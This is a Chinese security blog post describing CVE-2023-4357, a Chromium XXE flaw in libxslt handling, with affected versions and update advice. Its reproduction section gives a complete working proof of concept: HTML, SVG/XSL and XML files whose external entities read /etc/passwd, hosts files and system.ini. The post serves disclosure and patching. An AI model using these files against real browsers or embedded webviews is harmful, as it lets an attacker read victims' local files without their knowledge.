CVE-2023-4357,你的浏览器可能有隐患!

admin 2023年11月20日23:23:11评论91 views字数 3000阅读10分0秒阅读模式

前言

昨晚看国外大佬的文章,刷到了一个关于 Chrome 的 XXE 漏洞,来了兴趣并看了下,随后简单的在自己手机上复现了一下,竟发现自己的手机内置浏览器存在这个漏洞!然后就有了该文。

漏洞在线测试地址请点击下方‘阅读原文’,从个人博客中获取。

描述

时间回溯到今年的 2023 年 6 月,一位国外安全研究员 Igor Sak-SakovskiiChromium 项目报告了一个 XXE 漏洞,其漏洞的根源在于 Chromium 项目集成了 libxsltlibxslt 被用于 XSL 处理,但它允许在 XSL document() 方法加载的文档内包含外部实体。攻击者可以利用这一行为从 http(s)://URLs 访问 file://URLs进而绕过安全限制,获取文件访问权限。此外,当使用 -no-sandbox 属性时,攻击者能够在任意操作系统上读取任何文件。这一漏洞主要由于 Chromium 在实施安全策略和沙盒机制时未能充分考虑与 libxslt 的交互方式。

经复现测试,该漏洞的利用相对隐蔽,不需要复杂的交互或留下明显的痕迹。攻击者可以通过发送一个包含恶意 XSL 样式表和 SVG 图像的网站链接给受害者。一旦受害者点击这个链接,浏览器便会加载并解析这些恶意内容。攻击者能够利用这个漏洞来读取本地文件。这种攻击通常是不容易感知的,受害者可能完全不知道他们已经受到攻击。因此,检测这类攻击非常困难,这也使得这类漏洞更加危险。

值得注意的是:由于 Chromium 被广泛用于应用内自集成浏览器,这种漏洞的存在可能被用于更复杂的攻击链中,进一步威胁到用户的安全和隐私。

目前该漏洞等级已从中危提升至高危

CVE-2023-4357,你的浏览器可能有隐患!

复现

复现的话相对而言较为简单,首先我们先创建一个 HTML 文件,命名为 chrome-xxe.html,文件内容如下:

<body><script>const r = document.createElement('div');r.style.width = '40rem';document.body.appendChild(r);const ifr = document.createElement('iframe');ifr.style.display = 'none';document.body.appendChild(ifr);ifr.onload = function() {const ifrDoc = ifr.contentWindow.document.documentElement;r.innerHTML = `remote web url:<input value="${location.href}" style="width:100%" /><br/><br/>`;ifrDoc.querySelectorAll('p').forEach(p => {r.innerHTML += `local file path:<input value="${p.getAttribute("path")}" style="width:100%" /><br/>local file content:<textarea style="width:100%;height:6rem">${p.innerHTML}</textarea><br/><br/>`;});}ifr.src = "./chrome-xxe.svg";</script></body>

其中 ifr.src = "./chrome-xxe.svg"; 则是通过 iframe 标签再包含一个名为 chrome-xxe.svg 的 SVG 图像,其 SVG 图像中的内容如下:

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  <xsl:template match="/">    <xsl:copy-of select="document('./chrome-xxe.xml')"/>  </xsl:template></xsl:stylesheet>

SVG 图像中的 <xsl:copy-of select="document('./chrome-xxe.xml')"/> 代码再引用一个名为 chrome-xxe.xml 的可扩展标记语言 XML 文件,其 XML 文件内容如下:

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xml" href="?#"?><!DOCTYPE div [  <!ENTITY passwd SYSTEM "file:///etc/passwd">  <!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">  <!ENTITY hosts_linux SYSTEM "file:///etc/hosts">  <!ENTITY hosts_windows SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">]><div>  <p path="file:///etc/passwd">&passwd;</p>  <p path="file:///c:/windows/system.ini">&sysini;</p>  <p path="file:///etc/hosts">&hosts_linux;</p>  <p path="file:///c:/windows/system32/drivers/etc/hosts">&hosts_windows;</p></div>

将上述三个文件保存至服务器端或本地同文件夹内,使用浏览器打开 chrome-xxe.html 页面,若存在漏洞,会在框内显示出该文件内容。如下是本人在 最新版微信(版本:8.0.43_2480 28002B33) 中打开测试的链接,成功读取到目标文件内容:

CVE-2023-4357,你的浏览器可能有隐患!

进一步在我的手机上测试,发现手机自带的 小米浏览器 也中招了。所以,能升级浏览器或应用软件的尽量更新一下,防止该漏洞的利用。

影响范围

  1. Chrome 版本 < 116.0.5845.96
  2. Chromium 版本 < 116.0.5845.96
  3. Electron 版本 < 26.1.0

修复建议就是对于使用 Chromium 内核的浏览器和应用程序,请定期检查并关注来自官方渠道的安全更新和补丁。一旦发布了针对此漏洞的修复更新,应尽快进行升级。

对于使用 Chrome 的用户,Google 官方已发布新版本 Chrome 修复漏洞,建议尽快在 Chrome 内点击“关于 Chrome ”升级到最新版本。

参考

  • https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE
  • https://chromereleases.googleblog.com/2023/08/stable-channel-update-for-desktop_15.html
  • https://bugs.chromium.org/p/chromium/issues/detail?id=1458911



点击下方 阅读原文 即可直达博客。


原文始发于微信公众号(小杨学安全):CVE-2023-4357,你的浏览器可能有隐患!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月20日23:23:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-4357,你的浏览器可能有隐患!https://cn-sec.com/archives/2224247.html

发表评论

匿名网友 填写信息